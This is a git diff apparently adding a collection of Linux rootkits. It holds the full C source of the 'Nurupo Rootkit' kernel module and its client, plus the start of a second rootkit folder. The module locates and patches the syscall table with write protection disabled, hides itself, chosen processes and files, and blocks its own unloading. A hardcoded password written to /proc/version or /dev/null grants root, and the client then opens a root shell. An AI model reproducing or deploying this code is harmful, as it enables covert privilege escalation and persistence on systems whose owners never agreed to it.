+ {"unhide-pid", required_argument, 0, 'c'}, + {"hide-file", required_argument, 0, 'd'}, + {"unhide-file", required_argument, 0, 'e'}, + {"hide", no_argument, 0, 'f'}, + {"unhide", no_argument, 0, 'g'}, + {"help", no_argument, 0, 'h'}, + {"protect", no_argument, 0, 'i'}, + {"unprotect", no_argument, 0, 'j'}, + {0, 0, 0, 0 } + }; + + *root = 0; + *hide_pid = 0; + *unhide_pid = 0; + *pid = NULL; + *hide_file = 0; + *unhide_file = 0; + *file = NULL; + *hide = 0; + *unhide = 0; + *protect = 0; + *unprotect = 0; + + int opt; + + while ((opt = getopt_long(argc, argv, ":", long_options, NULL)) != -1) { + + switch (opt) { + + case 'a': + *root = 1; + break; + + case 'b': + *hide_pid = 1; + *pid = optarg; + break; + + case 'c': + *unhide_pid = 1; + *pid = optarg; + break; + + case 'd': + *hide_file = 1; + *file = optarg; + break; + + case 'e': + *unhide_file = 1; + *file = optarg; + break; + + case 'f': + *hide = 1; + break; + + case 'g': + *unhide = 1; + break; + + case 'h': + print_help(argv); + exit(0); + + case 'i': + *protect = 1; + break; + + case 'j': + *unprotect = 1; + break; + + case '?': + fprintf(stderr, "Error: Unrecognized option %s\n\n", argv[optind - 1]); + print_help(argv); + exit(1); + + case ':': + fprintf(stderr, "Error: No argument provided for option %s\n\n", argv[optind - 1]); + print_help(argv); + exit(1); + } + } + + if ((*root + *hide_pid + *unhide_pid + *hide_file + *unhide_file + *hide + + *unhide + *protect + *unprotect) != 1) { + fprintf(stderr, "Error: Exactly one option should be specified\n\n"); + print_help(argv); + exit(1); + } +} + +void write_buffer(char **dest_ptr, char *src, size_t size) +{ + memcpy(*dest_ptr, src, size); + *dest_ptr += size; +} + +int main(int argc, char **argv) +{ + int root; + int hide_pid; + int unhide_pid; + char *pid; + int hide_file; + int unhide_file; + char *file; + int hide; + int unhide; + int protect; + int unprotect; + + handle_command_line_arguments(argc, argv, &root, &hide_pid, &unhide_pid, &pid, + &hide_file, &unhide_file, &file, &hide, &unhide, + &protect, &unprotect); + + size_t buf_size = 0; + + buf_size += sizeof(CFG_PASS); + + if (root) { + buf_size += sizeof(CFG_ROOT); + } else if (hide_pid) { + buf_size += sizeof(CFG_HIDE_PID) + strlen(pid); + } else if (unhide_pid) { + buf_size += sizeof(CFG_UNHIDE_PID) + strlen(pid); + } else if (hide_file) { + buf_size += sizeof(CFG_HIDE_FILE) + strlen(file); + } else if (unhide_file) { + buf_size += sizeof(CFG_UNHIDE_FILE) + strlen(file); + } else if (hide) { + buf_size += sizeof(CFG_HIDE); + } else if (unhide) { + buf_size += sizeof(CFG_UNHIDE); + } else if (protect) { + buf_size += sizeof(CFG_PROTECT); + } else if (unprotect) { + buf_size += sizeof(CFG_UNPROTECT); + } + + buf_size += 1; // for null terminator + + char *buf = malloc(buf_size); + buf[buf_size - 1] = 0; + + char *buf_ptr = buf; + + write_buffer(&buf_ptr, CFG_PASS, sizeof(CFG_PASS)); + + if (root) { + write_buffer(&buf_ptr, CFG_ROOT, sizeof(CFG_ROOT)); + } else if (hide_pid) { + write_buffer(&buf_ptr, CFG_HIDE_PID, sizeof(CFG_HIDE_PID)); + write_buffer(&buf_ptr, pid, strlen(pid)); + } else if (unhide_pid) { + write_buffer(&buf_ptr, CFG_UNHIDE_PID, sizeof(CFG_UNHIDE_PID)); + write_buffer(&buf_ptr, pid, strlen(pid)); + } else if (hide_file) { + write_buffer(&buf_ptr, CFG_HIDE_FILE, sizeof(CFG_HIDE_FILE)); + write_buffer(&buf_ptr, file, strlen(file)); + } else if (unhide_file) { + write_buffer(&buf_ptr, CFG_UNHIDE_FILE, sizeof(CFG_UNHIDE_FILE)); + write_buffer(&buf_ptr, file, strlen(file)); + } else if (hide) { + write_buffer(&buf_ptr, CFG_HIDE, sizeof(CFG_HIDE)); + } else if (unhide) { + write_buffer(&buf_ptr, CFG_UNHIDE, sizeof(CFG_UNHIDE)); + } else if (protect) { + write_buffer(&buf_ptr, CFG_PROTECT, sizeof(CFG_PROTECT)); + } else if (unprotect) { + write_buffer(&buf_ptr, CFG_UNPROTECT, sizeof(CFG_UNPROTECT)); + } + + int fd = open("/proc/" CFG_PROC_FILE, O_RDONLY); + + if (fd < 1) { + int fd = open("/proc/" CFG_PROC_FILE, O_WRONLY); + + if (fd < 1) { + fprintf(stderr, "Error: Failed to open %s\n", "/proc/" CFG_PROC_FILE); + return 1; + } + + write(fd, buf, buf_size); + } else { + read(fd, buf, buf_size); + } + + close(fd); + free(buf); + + if (root) { + execl("/bin/bash", "bash", NULL); + } + + return 0; +} diff --git a/Linux/Rootkits/Nurupo Rootkit/config.h b/Linux/Rootkits/Nurupo Rootkit/config.h new file mode 100644 index 0000000..d30b371 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/config.h @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2016-2017 Maxim Biro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#define CFG_PROC_FILE "version" +#define CFG_PASS "password" +#define CFG_ROOT "root" +#define CFG_HIDE_PID "hide_pid" +#define CFG_UNHIDE_PID "unhide_pid" +#define CFG_HIDE_FILE "hide_file" +#define CFG_UNHIDE_FILE "unhide_file" +#define CFG_HIDE "hide" +#define CFG_UNHIDE "unhide" +#define CFG_PROTECT "protect" +#define CFG_UNPROTECT "unprotect" diff --git a/Linux/Rootkits/Nurupo Rootkit/rootkit.c b/Linux/Rootkits/Nurupo Rootkit/rootkit.c new file mode 100644 index 0000000..b3994a9 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/rootkit.c @@ -0,0 +1,1001 @@ +/* + * Copyright (C) 2016-2019 Maxim Biro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + +// Copy-pasted from Linux sources as it's not provided in public headers +// of newer Linux. +// Might differ from one version of Linux kernel to another, so update as +// necessary. +// http://lxr.free-electrons.com/source/fs/proc/internal.h?v=4.4#L31 +struct proc_dir_entry { + unsigned int low_ino; + umode_t mode; + nlink_t nlink; + kuid_t uid; + kgid_t gid; + loff_t size; + const struct inode_operations *proc_iops; + const struct file_operations *proc_fops; + struct proc_dir_entry *parent; + struct rb_root subdir; + struct rb_node subdir_node; + void *data; + atomic_t count; /* use count */ + atomic_t in_use; /* number of callers into module in progress; */ + /* negative -> it's going away RSN */ + struct completion *pde_unload_completion; + struct list_head pde_openers; /* who did ->open, but not ->release */ + spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */ + u8 namelen; + char name[]; +}; + +#endif + +#include "config.h" + +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Maxim Biro "); + + +#define ARCH_ERROR_MESSAGE "Only i386 and x86_64 architectures are supported! " \ + "It should be easy to port to new architectures though" + +#define DISABLE_W_PROTECTED_MEMORY \ + do { \ + preempt_disable(); \ + write_cr0(read_cr0() & (~ 0x10000)); \ + } while (0); +#define ENABLE_W_PROTECTED_MEMORY \ + do { \ + preempt_enable(); \ + write_cr0(read_cr0() | 0x10000); \ + } while (0); + + +// ========== SYS_CALL_TABLE ========== + + +#if defined __i386__ + #define START_ADDRESS 0xc0000000 + #define END_ADDRESS 0xd0000000 +#elif defined __x86_64__ + #define START_ADDRESS 0xffffffff81000000 + #define END_ADDRESS 0xffffffffa2000000 +#else + #error ARCH_ERROR_MESSAGE +#endif + +void **sys_call_table; + +/** + * Finds a system call table based on a heruistic. + * Note that the heruistic is not ideal, so it might find a memory region that + * looks like a system call table but is not actually a system call table, but + * it seems to work all the time on my systems. + * + * @return system call table on success, NULL on failure. + */ +void **find_syscall_table(void) +{ + void **sctable; + void *i = (void*) START_ADDRESS; + + while (i < END_ADDRESS) { + sctable = (void **) i; + + // sadly only sys_close seems to be exported -- we can't check against more system calls + if (sctable[__NR_close] == (void *) sys_close) { + size_t j; + // we expect there to be at least 300 system calls + const unsigned int SYS_CALL_NUM = 300; + // sanity check: no function pointer in the system call table should be NULL + for (j = 0; j < SYS_CALL_NUM; j ++) { + if (sctable[j] == NULL) { + // this is not a system call table + goto skip; + } + } + return sctable; + } +skip: + ; + i += sizeof(void *); + } + + return NULL; +} + + +// ========== END SYS_CALL_TABLE ========== + + +// ========== HOOK LIST ========== + + +struct hook { + void *original_function; + void *modified_function; + void **modified_at_address; + struct list_head list; +}; + +LIST_HEAD(hook_list); + +/** + * Replaces a function pointer at some address with a new function pointer, + * keeping record of the original function pointer so that it could be + * restored later. + * + * @param modified_at_address Pointer to the address of where the function + * pointer that we want to replace is stored. The same address would be used + * when restoring the original funcion pointer back, so make sure it doesn't + * become invalid by the time you try to restore it back. + * + * @param modified_function Function pointer that we want to replace the + * original function pointer with. + * + * @return true on success, false on failure. + */ +int hook_create(void **modified_at_address, void *modified_function) +{ + struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL); + + if (!h) { + return 0; + } + + h->modified_at_address = modified_at_address; + h->modified_function = modified_function; + list_add(&h->list, &hook_list); + + DISABLE_W_PROTECTED_MEMORY + h->original_function = xchg(modified_at_address, modified_function); + ENABLE_W_PROTECTED_MEMORY + + return 1; +} + +/** + * Get original function pointer based on the one we overwrote it with. + * Useful when wanting to call the original function inside a hook. + * + * @param modified_function The function that overwrote the original one. + * @return original function pointer on success, NULL on failure. + */ +void *hook_get_original(void *modified_function) +{ + void *original_function = NULL; + struct hook *h; + + list_for_each_entry(h, &hook_list, list) { + if (h->modified_function == modified_function) { + original_function = h->original_function; + break; + } + } + return original_function; +} + +/** + * Removes all hook records, restores the overwritten function pointers to + * their original value. + */ +void hook_remove_all(void) +{ + struct hook *h, *tmp; + + // make it so that instead of `modified_function` the `original_function` + // would get called again + list_for_each_entry(h, &hook_list, list) { + DISABLE_W_PROTECTED_MEMORY + *h->modified_at_address = h->original_function; + ENABLE_W_PROTECTED_MEMORY + } + // a hack to let the changes made by the loop above propagate, as some + // process might be in the middle of executing our `modified_function` + // which calls the original function inside by getting it from the + // `hook_get_original()` call, which would return NULL if we `list_del()` + // everything, and, well, bad things happen if you try to use NULL as a + // function pointer and call into it. + // to get around this issue we: + // 1. make it so that instead of `modified_function` the + // `original_function` would get called. this is done above. + // 2. sleep hopefully long enough to let all the proesses that are in the + // middle of running `modified_function` to finish running that function + // 3. finally, remove all the elements from the list + msleep(10); + list_for_each_entry_safe(h, tmp, &hook_list, list) { + list_del(&h->list); + kfree(h); + } +} + + +// ========== END HOOK LIST ========== + + +// ========== HOOK EXAMPLES ========== + +unsigned long read_count = 0; + +asmlinkage long read(unsigned int fd, char __user *buf, size_t count) +{ + read_count ++; + + asmlinkage long (*original_read)(unsigned int, char __user *, size_t); + original_read = hook_get_original(read); + return original_read(fd, buf, count); +} + + +unsigned long write_count = 0; + +asmlinkage long write(unsigned int fd, const char __user *buf, size_t count) +{ + write_count ++; + + asmlinkage long (*original_write)(unsigned int, const char __user *, size_t); + original_write = hook_get_original(write); + return original_write(fd, buf, count); +} + + +// ========== END HOOK EXAMPLES ========== + + +// ========== ASM HOOK LIST ========== + +#if defined __i386__ + // push 0x00000000, ret + #define ASM_HOOK_CODE "\x68\x00\x00\x00\x00\xc3" + // byte offset to where to the 0x00000000, to overwrite it with a function pointer + #define ASM_HOOK_CODE_OFFSET 1 + // alternativly we could do `mov eax 0x00000000, jmp eax`, but it's a byte longer + //#define ASM_HOOK_CODE "\xb8\x00\x00\x00\x00\xff\xe0" +#elif defined __x86_64__ + // there is no push that pushes a 64-bit immidiate in x86_64, + // so we do things a bit differently: + // mov rax 0x0000000000000000, jmp rax + #define ASM_HOOK_CODE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0" + // byte offset to where to the 0x0000000000000000, to overwrite it with a function pointer + #define ASM_HOOK_CODE_OFFSET 2 +#else + #error ARCH_ERROR_MESSAGE +#endif + +struct asm_hook { + void *original_function; + void *modified_function; + char original_asm[sizeof(ASM_HOOK_CODE)-1]; + struct list_head list; +}; + +LIST_HEAD(asm_hook_list); + +/** + * Patches machine code of the original function to call another function. + * This function should not be called directly. + */ +void _asm_hook_patch(struct asm_hook *h) +{ + DISABLE_W_PROTECTED_MEMORY + memcpy(h->original_function, ASM_HOOK_CODE, sizeof(ASM_HOOK_CODE)-1); + *(void **)&((char *)h->original_function)[ASM_HOOK_CODE_OFFSET] = h->modified_function; + ENABLE_W_PROTECTED_MEMORY +} + +/** + * Patches machine code of a function so that it would call our function. + * Keeps record of the original function and its machine code so that it could + * be unpatched and patched again later. + * + * @param original_function Function to patch + * + * @param modified_function Function that should be called + * + * @return true on success, false on failure. + */ +int asm_hook_create(void *original_function, void *modified_function) +{ + struct asm_hook *h = kmalloc(sizeof(struct asm_hook), GFP_KERNEL); + + if (!h) { + return 0; + } + + h->original_function = original_function; + h->modified_function = modified_function; + memcpy(h->original_asm, original_function, sizeof(ASM_HOOK_CODE)-1); + list_add(&h->list, &asm_hook_list); + + _asm_hook_patch(h); + + return 1; +} + +/** + * Patches the original function to call the modified function again. + * + * @param modified_function Function that the original function was patched to + * call in asm_hook_create(). + */ +void asm_hook_patch(void *modified_function) +{ + struct asm_hook *h; + + list_for_each_entry(h, &asm_hook_list, list) { + if (h->modified_function == modified_function) { + _asm_hook_patch(h); + break; + } + } +} + +/** + * Unpatches machine code of the original function, so that it wouldn't call + * our function anymore. + * This function should not be called directly. + */ +void _asm_hook_unpatch(struct asm_hook *h) +{ + DISABLE_W_PROTECTED_MEMORY + memcpy(h->original_function, h->original_asm, sizeof(ASM_HOOK_CODE)-1); + ENABLE_W_PROTECTED_MEMORY +} + +/** + * Unpatches machine code of the original function, so that it wouldn't call + * our function anymore. + * + * @param modified_function Function that the original function was patched to + * call in asm_hook_create(). + */ +void *asm_hook_unpatch(void *modified_function) +{ + void *original_function = NULL; + struct asm_hook *h; + + list_for_each_entry(h, &asm_hook_list, list) { + if (h->modified_function == modified_function) { + _asm_hook_unpatch(h); + original_function = h->original_function; + break; + } + } + + return original_function; +} + +/** + * Removes all hook records, unpatches all functions. + */ +void asm_hook_remove_all(void) +{ + struct asm_hook *h, *tmp; + + list_for_each_entry_safe(h, tmp, &asm_hook_list, list) { + _asm_hook_unpatch(h); + list_del(&h->list); + kfree(h); + } +} + + +// ========== END ASM HOOK LIST ========== + + +// ========== ASM HOOK EXAMPLES ========== + +unsigned long asm_rmdir_count = 0; + +asmlinkage long asm_rmdir(const char __user *pathname) +{ + asm_rmdir_count ++; + + asmlinkage long (*original_rmdir)(const char __user *); + original_rmdir = asm_hook_unpatch(asm_rmdir); + long ret = original_rmdir(pathname); + asm_hook_patch(asm_rmdir); + + return ret; +} + + +// ========== END ASM HOOK EXAMPLES ========== + + +// ========== PID LIST ========== + + +struct pid_entry { + unsigned long pid; + struct list_head list; +}; + +LIST_HEAD(pid_list); + +int pid_add(const char *pid) +{ + struct pid_entry *p = kmalloc(sizeof(struct pid_entry), GFP_KERNEL); + + if (!p) { + return 0; + } + + p->pid = simple_strtoul(pid, NULL, 10); + + list_add(&p->list, &pid_list); + + return 1; +} + +void pid_remove(const char *pid) +{ + struct pid_entry *p, *tmp; + + unsigned long pid_num = simple_strtoul(pid, NULL, 10); + + list_for_each_entry_safe(p, tmp, &pid_list, list) { + if (p->pid == pid_num) { + list_del(&p->list); + kfree(p); + break; + } + } +} + +void pid_remove_all(void) +{ + struct pid_entry *p, *tmp; + + list_for_each_entry_safe(p, tmp, &pid_list, list) { + list_del(&p->list); + kfree(p); + } +} + + +// ========== END PID LIST ========== + + +// ========== FILE LIST ========== + + +struct file_entry { + char *name; + struct list_head list; +}; + +LIST_HEAD(file_list); + +int file_add(const char *name) +{ + struct file_entry *f = kmalloc(sizeof(struct file_entry), GFP_KERNEL); + + if (!f) { + return 0; + } + + size_t name_len = strlen(name) + 1; + + // sanity check as `name` could point to some garbage without null anywhere nearby + if (name_len -1 > NAME_MAX) { + kfree(f); + return 0; + } + + f->name = kmalloc(name_len, GFP_KERNEL); + if (!f->name) { + kfree(f); + return 0; + } + + strncpy(f->name, name, name_len); + + list_add(&f->list, &file_list); + + return 1; +} + +void file_remove(const char *name) +{ + struct file_entry *f, *tmp; + + list_for_each_entry_safe(f, tmp, &file_list, list) { + if (strcmp(f->name, name) == 0) { + list_del(&f->list); + kfree(f->name); + kfree(f); + break; + } + } +} + +void file_remove_all(void) +{ + struct file_entry *f, *tmp; + + list_for_each_entry_safe(f, tmp, &file_list, list) { + list_del(&f->list); + kfree(f->name); + kfree(f); + } +} + + +// ========== END FILE LIST ========== + + +// ========== HIDE ========== + + +struct list_head *module_list; +int is_hidden = 0; + +void hide(void) +{ + if (is_hidden) { + return; + } + + module_list = THIS_MODULE->list.prev; + + list_del(&THIS_MODULE->list); + + is_hidden = 1; +} + + +void unhide(void) +{ + if (!is_hidden) { + return; + } + + list_add(&THIS_MODULE->list, module_list); + + is_hidden = 0; +} + + +// ========== END HIDE ========== + + +// ========== PROTECT ========== + + +int is_protected = 0; + +void protect(void) +{ + if (is_protected) { + return; + } + + try_module_get(THIS_MODULE); + + is_protected = 1; +} + +void unprotect(void) +{ + if (!is_protected) { + return; + } + + module_put(THIS_MODULE); + + is_protected = 0; +} + + +// ========== END PROTECT ========== + + +// ========== READDIR ========== + + +struct file_operations *get_fop(const char *path) +{ + struct file *file; + + if ((file = filp_open(path, O_RDONLY, 0)) == NULL) { + return NULL; + } + + struct file_operations *ret = (struct file_operations *) file->f_op; + filp_close(file, 0); + + return ret; +} + +// Macros to help reduce repeated code where only names differ. +// Decreses risk of "copy-paste & forgot to rename" error. +#define FILLDIR_START(NAME) \ + filldir_t original_##NAME##_filldir; \ + \ + static int NAME##_filldir(void * context, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) \ + { + +#define FILLDIR_END(NAME) \ + return original_##NAME##_filldir(context, name, namelen, offset, ino, d_type); \ + } + + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + #define READDIR(NAME) \ + int NAME##_iterate(struct file *file, struct dir_context *context) \ + { \ + original_##NAME##_filldir = context->actor; \ + *((filldir_t*)&context->actor) = NAME##_filldir; \ + \ + int (*original_iterate)(struct file *, struct dir_context *); \ + original_iterate = asm_hook_unpatch(NAME##_iterate); \ + int ret = original_iterate(file, context); \ + asm_hook_patch(NAME##_iterate); \ + \ + return ret; \ + } + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + #define READDIR(NAME) \ + int NAME##_readdir(struct file *file, void *dirent, filldir_t filldir) \ + { \ + original_##NAME##_filldir = filldir; \ + \ + int (*original_readdir)(struct file *, void *, filldir_t); \ + original_readdir = asm_hook_unpatch(NAME##_readdir); \ + int ret = original_readdir(file, dirent, NAME##_filldir); \ + asm_hook_patch(NAME##_readdir); \ + \ + return ret; \ + } +#else + +//#error "Wrong Linux kernel version" + +#endif + +// Macros to actually use +#define READDIR_HOOK_START(NAME) FILLDIR_START(NAME) +#define READDIR_HOOK_END(NAME) FILLDIR_END(NAME) READDIR(NAME) + +READDIR_HOOK_START(root) + struct file_entry *f; + + list_for_each_entry(f, &file_list, list) { + if (strcmp(name, f->name) == 0) { + return 0; + } + } +READDIR_HOOK_END(root) + +READDIR_HOOK_START(proc) + struct pid_entry *p; + + list_for_each_entry(p, &pid_list, list) { + if (simple_strtoul(name, NULL, 10) == p->pid) { + return 0; + } + } +READDIR_HOOK_END(proc) + +READDIR_HOOK_START(sys) + if (is_hidden && strcmp(name, KBUILD_MODNAME) == 0) { + return 0; + } +READDIR_HOOK_END(sys) + + +#undef FILLDIR_START +#undef FILLDIR_END +#undef READDIR + +#undef READDIR_HOOK_START +#undef READDIR_HOOK_END + + +// ========== END READDIR ========== + + +int execute_command(const char __user *str, size_t length) +{ + if (length <= sizeof(CFG_PASS) || + strncmp(str, CFG_PASS, sizeof(CFG_PASS)) != 0) { + return 0; + } + + pr_info("Password check passed\n"); + + // since the password matched, we assume the command following the password + // is in the valid format + + str += sizeof(CFG_PASS); + + if (strcmp(str, CFG_ROOT) == 0) { + pr_info("Got root command\n"); + struct cred *creds = prepare_creds(); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + creds->uid.val = creds->euid.val = 0; + creds->gid.val = creds->egid.val = 0; + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + creds->uid = creds->euid = 0; + creds->gid = creds->egid = 0; + +#endif + + commit_creds(creds); + } else if (strcmp(str, CFG_HIDE_PID) == 0) { + pr_info("Got hide pid command\n"); + str += sizeof(CFG_HIDE_PID); + pid_add(str); + } else if (strcmp(str, CFG_UNHIDE_PID) == 0) { + pr_info("Got unhide pid command\n"); + str += sizeof(CFG_UNHIDE_PID); + pid_remove(str); + } else if (strcmp(str, CFG_HIDE_FILE) == 0) { + pr_info("Got hide file command\n"); + str += sizeof(CFG_HIDE_FILE); + file_add(str); + } else if (strcmp(str, CFG_UNHIDE_FILE) == 0) { + pr_info("Got unhide file command\n"); + str += sizeof(CFG_UNHIDE_FILE); + file_remove(str); + } else if (strcmp(str, CFG_HIDE) == 0) { + pr_info("Got hide command\n"); + hide(); + } else if (strcmp(str, CFG_UNHIDE) == 0) { + pr_info("Got unhide command\n"); + unhide(); + } else if (strcmp(str, CFG_PROTECT) == 0) { + pr_info("Got protect command\n"); + protect(); + } else if (strcmp(str, CFG_UNPROTECT) == 0) { + pr_info("Got unprotect command\n"); + unprotect(); + } else { + pr_info("Got unknown command\n"); + } + + return 1; +} + + +// ========== COMM CHANNEL ========== + + +static ssize_t proc_fops_write(struct file *file, const char __user *buf_user, size_t count, loff_t *p) +{ + if (execute_command(buf_user, count)) { + return count; + } + + int (*original_write)(struct file *, const char __user *, size_t, loff_t *); + original_write = asm_hook_unpatch(proc_fops_write); + ssize_t ret = original_write(file, buf_user, count, p); + asm_hook_patch(proc_fops_write); + + return ret; +} + +static ssize_t proc_fops_read(struct file *file, char __user *buf_user, size_t count, loff_t *p) +{ + execute_command(buf_user, count); + + int (*original_read)(struct file *, char __user *, size_t, loff_t *); + original_read = asm_hook_unpatch(proc_fops_read); + ssize_t ret = original_read(file, buf_user, count, p); + asm_hook_patch(proc_fops_read); + + return ret; +} + + +int setup_proc_comm_channel(void) +{ + static const struct file_operations proc_file_fops = {0}; + struct proc_dir_entry *proc_entry = proc_create("temporary", 0444, NULL, &proc_file_fops); + proc_entry = proc_entry->parent; + + if (strcmp(proc_entry->name, "/proc") != 0) { + pr_info("Couldn't find \"/proc\" entry\n"); + remove_proc_entry("temporary", NULL); + return 0; + } + + remove_proc_entry("temporary", NULL); + + struct file_operations *proc_fops = NULL; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + struct rb_node *entry = rb_first(&proc_entry->subdir); + + while (entry) { + pr_info("Looking at \"/proc/%s\"\n", rb_entry(entry, struct proc_dir_entry, subdir_node)->name); + + if (strcmp(rb_entry(entry, struct proc_dir_entry, subdir_node)->name, CFG_PROC_FILE) == 0) { + pr_info("Found \"/proc/%s\"\n", CFG_PROC_FILE); + proc_fops = (struct file_operations *) rb_entry(entry, struct proc_dir_entry, subdir_node)->proc_fops; + goto found; + } + + entry = rb_next(entry); + } + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + proc_entry = proc_entry->subdir; + + while (proc_entry) { + pr_info("Looking at \"/proc/%s\"\n", proc_entry->name); + + if (strcmp(proc_entry->name, CFG_PROC_FILE) == 0) { + pr_info("Found \"/proc/%s\"\n", CFG_PROC_FILE); + proc_fops = (struct file_operations *) proc_entry->proc_fops; + goto found; + } + + proc_entry = proc_entry->next; + } + +#endif + + pr_info("Couldn't find \"/proc/%s\"\n", CFG_PROC_FILE); + + return 0; + +found: + ; + + if (proc_fops->write) { + asm_hook_create(proc_fops->write, proc_fops_write); + } + + if (proc_fops->read) { + asm_hook_create(proc_fops->read, proc_fops_read); + } + + if (!proc_fops->read && !proc_fops->write) { + pr_info("\"/proc/%s\" has no write nor read function set\n", CFG_PROC_FILE); + return 0; + } + + return 1; +} + + +static ssize_t devnull_fops_write(struct file *file, const char __user *buf_user, size_t count, loff_t *p) +{ + if (execute_command(buf_user, count)) { + return count; + } + + int (*original_write)(struct file *, const char __user *, size_t, loff_t *); + original_write = hook_get_original(devnull_fops_write); + return original_write(file, buf_user, count, p); +} + +int setup_devnull_comm_channel(void) +{ + hook_create(&get_fop("/dev/null")->write, devnull_fops_write); + + return 1; +} + + +// ========== END COMM CHANNEL ========== + + +int init(void) +{ + pr_info("Module loaded\n"); + hide(); + protect(); + + if (!setup_proc_comm_channel()) { + pr_info("Failed to set up comm channel\n"); + unprotect(); + unhide(); + return -1; + } + + pr_info("Comm channel is set up\n"); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + asm_hook_create(get_fop("/")->iterate, root_iterate); + asm_hook_create(get_fop("/proc")->iterate, proc_iterate); + asm_hook_create(get_fop("/sys")->iterate, sys_iterate); + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + asm_hook_create(get_fop("/")->readdir, root_readdir); + asm_hook_create(get_fop("/proc")->readdir, proc_readdir); + asm_hook_create(get_fop("/sys")->readdir, sys_readdir); + +#endif + + sys_call_table = find_syscall_table(); + pr_info("Found sys_call_table at %p\n", sys_call_table); + + // Setup the example hooks + asm_hook_create(sys_call_table[__NR_rmdir], asm_rmdir); + hook_create(&sys_call_table[__NR_read], read); + hook_create(&sys_call_table[__NR_write], write); + + return 0; +} + +void exit(void) +{ + // Print the results of the example hooks + pr_info("sys_rmdir was called %lu times\n", asm_rmdir_count); + pr_info("sys_read was called %lu times\n", read_count); + pr_info("sys_write was called %lu times\n", write_count); + + // Cleanup + hook_remove_all(); + asm_hook_remove_all(); + pid_remove_all(); + file_remove_all(); + + THIS_MODULE->name[0] = 0; + + pr_info("Module removed\n"); +} + +module_init(init); +module_exit(exit); diff --git a/Linux/Rootkits/Randkit/.gitignore b/Linux/Rootkits/Randkit/.gitignore new file mode 100644 index 0000000..bbf313b --- /dev/null +++ b/Linux/Rootkits/Randkit/.gitignore @@ -0,0 +1,32 @@ +# Object files +*.o +*.ko +*.obj +*.elf + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex + +# Debug files +*.dSYM/ diff --git a/Linux/Rootkits/Randkit/LICENSE b/Linux/Rootkits/Randkit/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/Linux/Rootkits/Randkit/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse 